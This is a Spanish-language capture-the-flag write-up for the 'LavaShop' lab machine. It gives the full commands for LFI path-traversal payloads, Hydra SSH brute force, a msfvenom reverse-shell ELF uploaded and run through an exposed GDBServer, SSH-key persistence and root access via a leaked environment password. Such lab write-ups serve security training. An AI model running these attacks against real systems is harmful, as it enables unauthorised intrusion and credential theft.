1. Resumen
LavaShop es una máquina Linux de dificultad fácil que simula una "tienda online" de lámparas de lava. La explotación requiere:
- Local File Inclusion (LFI) para enumerar usuarios del sistema
- Fuerza bruta SSH para obtener acceso inicial
- Explotación de GDBServer corriendo en puerto no estándar
- Filtración de credenciales a través de variables de entorno
Esta máquina es ideal para practicar enumeración web, fuzzing de parámetros, y técnicas básicas de post-explotación.
Muchas gracias a Condor por esta máquina.
2. Reconocimiento
Escaneo de Puertos con Nmap
Iniciamos con un escaneo completo de puertos para identificar servicios expuestos:
sudo nmap -p- --open -sCV -Pn -n --min-rate 5000 <IP>
**Parámetros utilizados:**
-p-: Escanea todos los puertos (1-65535)
--open: Muestra solo puertos abiertos
-sCV: Ejecuta scripts de detección de versiones y vulnerabilidades
-Pn: Omite el descubrimiento de host (asume que está activo)
-n: No resuelve nombres DNS
--min-rate 5000: Envía al menos 5000 paquetes por segundoResultados:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_ 256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp open http Apache httpd 2.4.62
|_http-title: Did not follow redirect to http://lavashop.thl/
|_http-server-header: Apache/2.4.62 (Debian)
1337/tcp open waste?Análisis de servicios:
- Puerto 22 (SSH): OpenSSH 9.2p1 en Debian 12
- Puerto 80 (HTTP): Apache 2.4.62 con redirección a
lavashop.thl- Requiere configuración de DNS local - Puerto 1337: Servicio desconocido — Requiere investigación posterior
Configuración de Resolución DNS
El servidor web redirige a lavashop.thl, por lo que necesitamos añadir una entrada en nuestro archivo /etc/hosts:
echo "IP lavashop.thl" | sudo tee -a /etc/hosts3. Enumeración Web

3.1 Exploración Manual
Al acceder a http://lavashop.thl, encontramos una tienda online que vende lámparas de lava con las siguientes características:
- Catálogo de 4 productos diferentes
- Navegación mediante parámetros GET en la URL
- Ejemplos observados:
http://lavashop.thl/index.php?page=productshttp://lavashop.thl/index.php?page=abouthttp://lavashop.thl/index.php?page=homehttp://lavashop.thl/index.php?page=contact
Primera hipótesis: El parámetro page podría estar incluyendo archivos dinámicamente, lo que sugiere una posible vulnerabilidad de Local File Inclusion (LFI).
3.2 Enumeración de Directorios con Gobuster
Utilizamos Gobuster para descubrir directorios y archivos ocultos:
gobuster dir -u http://lavashop.thl/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html
Parámetros:
dir: Modo de enumeración de directorios
-u: URL objetivo
-w: Wordlist a utilizar
-x: Extensiones de archivo a buscarResultados relevantes:

Análisis:
/pages/: Directorio que probablemente contiene las páginas incluidas porindex.php/assets/: Recursos estáticos (CSS, JavaScript, imágenes)/includes/: Posibles archivos de configuración o librerías PHP
3.3 Enumeración Recursiva del Directorio /pages/
Procedemos a enumerar el contenido específico del directorio /pages/:
gobuster dir -u http://lavashop.thl/pages -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,htmlResultados:

Análisis de la Lógica de Inclusión
Correlacionando las URLs observadas con los archivos descubiertos:

Deducción: El código de index.php probablemente implementa algo similar a:
<?php
$page = $_GET['page'];
include("pages/" . $page . ".php");
?>Esta implementación es vulnerable a Local File Inclusion (LFI) si no valida adecuadamente la entrada del usuario mediante técnicas de path traversal (../../../).
4. Explotación — Local File Inclusion
Intentos Iniciales en index.php
Probamos explotar el parámetro page con payloads comunes de LFI:
# Path traversal básico
curl "http://lavashop.thl/index.php?page=../../../../etc/passwd"
# PHP wrappers para lectura de código fuente
curl "http://lavashop.thl/index.php?page=php://filter/convert.base64-encode/resource=index"
# Null byte injection (PHP < 5.3.4)
curl "http://lavashop.thl/index.php?page=../../../etc/passwd%00"Resultado: Todos los intentos devolvieron Error 404.

Conclusión: Existe algún tipo de validación o filtrado en el parámetro page, posiblemente:
- Lista blanca de valores permitidos
- Filtros que bloquean secuencias
../ - Validación de extensiones
4.1 Pivote: Fuzzing de Parámetros Adicionales
Aunque index.php parece protegido, los archivos PHP individuales podrían tener sus propios parámetros vulnerables no visibles desde la interfaz.
Products.php
Utilizamos ffuf para descubrir parámetros ocultos:
ffuf -u "http://lavashop.thl/pages/products.php?FUZZ=test" -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 1017
Parámetros de ffuf:
-u: URL con `FUZZ` como placeholder
-w: Wordlist de nombres de parámetros comunes
-fs 1017`: Filtra respuestas de 1017 bytes (tamaño sin parámetros válidos)Resultado:

Análisis del descubrimiento:
- ✅ Parámetro encontrado:
file - ✅ Cambio de tamaño: 1017 → 1370 bytes (indica que el parámetro está siendo procesado)
- ✅ Nombre altamente sospechoso para LFI
- ✅ Status 200 confirma que el parámetro es aceptado
4.2 Explotación Exitosa del LFI
Probamos el parámetro file con path traversal para leer archivos del sistema:
curl "http://lavashop.thl/pages/products.php?file=../../../../etc/passwd"
La aplicación devuelve el contenido del archivo `/etc/passwd`
Información crítica obtenida:
- Usuario
debian(UID 1000) con shell/bin/bashy directorio/home/debian - Usuario
Rodri(UID 1001) con shell/bin/bashy directorio/home/Rodri - Ambos usuarios tienen capacidad de login interactivo
5. Acceso Inicial — SSH Brute Force
Fuerza Bruta con Hydra
Con los usuarios identificados, procedemos a realizar fuerza bruta contra el servicio SSH utilizando Hydra:
hydra -l debian -P /usr/share/wordlists/rockyou.txt ssh://<IP>
Parámetros:
-l debian: Usuario objetivo
-P: Wordlist de contraseñas
ssh://<IP>: Protocolo y host objetivoResultado:

Ya tenemos la contraseña de debian.
6. Acceso SSH
Nos conectamos al sistema con las credenciales obtenidas:
ssh debian@<IP>6.1 Primera Flag — user.txt
Navegamos al directorio del usuario Rodri y encontramos la primera bandera:

6.2 Escalada de Privilegios — GDBServer Exploit
Enumeración Inicial
Al intentar elevar privilegios con métodos comunes, encontramos limitaciones:
sudo -l # No permitido
su - # Requiere contraseña de root desconocidaEnumeramos procesos del sistema para identificar vectores de escalada:
ps aux | grep 1337
Análisis crítico:
- El servicio en puerto 1337 es GDBServer
- Está ejecutándose como el usuario
Rodri - Está escuchando en todas las interfaces (
0.0.0.0) - El flag
--onceindica que acepta una conexión y luego termina
6.3 ¿Qué es GDBServer?
GDBServer es un programa que permite la depuración remota de aplicaciones. Funciona como intermediario entre:
- El debugger (GDB en la máquina del desarrollador)
- La aplicación a depurar (en la máquina remota)
Vulnerabilidad: Si un atacante puede conectarse a GDBServer, puede:
- Subir archivos ejecutables arbitrarios
- Ejecutar código como el usuario que corre GDBServer
- Obtener una shell inversa
7. Generación del Payload con Msfvenom
En nuestra máquina atacante creamos un ejecutable ELF que nos devolverá una reverse shell:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IPATACANTE> LPORT=4444 PrependFork=true -f elf -o binary.elfParámetros explicados:
-p linux/x64/shell_reverse_tcp: Payload de shell inversa para Linux 64 bitsLHOST: IP de nuestra máquina atacanteLPORT: Puerto donde recibiremos la conexiónPrependFork=true: Hace fork del proceso para evitar que se cuelgue-f elf: Formato de salida (ejecutable Linux)-o binary.elf: Nombre del archivo de salida
Damos permisos de ejecución:
chmod +x binary.elf7.1 Conexión y Explotación de GDBServer
Iniciamos GDB con nuestro payload:
gdb binary.elfDentro de GDB, ejecutamos los siguientes comandos:
(gdb) target extended-remote <IP-VÍCTIMA>:1337
Remote debugging using <IP-VÍCTIMA>:1337
(gdb) remote put binary.elf binary.elf
Successfully uploaded binary.elf
(gdb) set remote exec-file /home/Rodri/binary.elf
(gdb) run
Explicación de comandos:
target extended-remote: Conecta a GDBServer remotoremote put: Sube nuestro payload al sistema remotoset remote exec-file: Especifica qué archivo ejecutarrun: Ejecuta el programa (activa nuestra reverse shell)
Listener y Captura de Shell
Antes de ejecutar run, abrimos un listener en otra terminal:
nc -lvnp 4444Al ejecutar run en GDB, recibimos la conexión:

Mejora de la Shell (TTY)
La shell obtenida es limitada. La mejoramos con técnicas de spawning de TTY:
# Spawneamos una bash interactiva
SHELL=/bin/bash script -q /dev/null
# Suspendemos la sesión (Ctrl+Z)
^Z
# Configuramos la terminal local
stty raw -echo && fg
# Reseteamos la terminal remota
reset
# Configuramos el tipo de terminal
export TERM=xterm
export SHELL=/bin/bash
# Ajustamos el tamaño de la terminal (opcional)
stty rows 38 columns 1168. Escalada a Root — Variables de Entorno
8.1 Establecimiento de Acceso SSH Persistente
Para facilitar la investigación, configuramos acceso SSH directo como Rodri:
En la máquina víctima:
cd /home/Rodri
mkdir -p .ssh
chmod 700 .sshEn nuestra máquina atacante:
ssh-keygen -t rsa -f rodri_key
cat rodri_key.pub
De vuelta en la víctima:
echo "TU_CLAVE_PUBLICA_AQUI" > /home/Rodri/.ssh/authorized_keys
chmod 600 /home/Rodri/.ssh/authorized_keys
Conexión SSH:
ssh -i rodri_key Rodri@<IP>8.2 Enumeración de Variables de Entorno
Una vez con acceso SSH estable, revisamos las variables de entorno:
env
¡Descubrimiento crítico! La variable dev contiene lo que parece ser una contraseña.
8.3 Escalada a Root
Intentamos usar esta credencial para cambiar al usuario root:
su rootIntroducimos la contraseña y ¡ya somos root!
En el directorio /root está la última bandera.

Recomendación: Esta máquina es ideal para principiantes que quieren fortalecer sus habilidades en enumeración web y post-explotación básica.
9. Agradecimientos
Muchas gracias a TheHackersLabs por esta nueva máquina y a su creador, Condor, por dedicarle su tiempo y su conocimiento en crearla.
Un saludo!
APS88!!!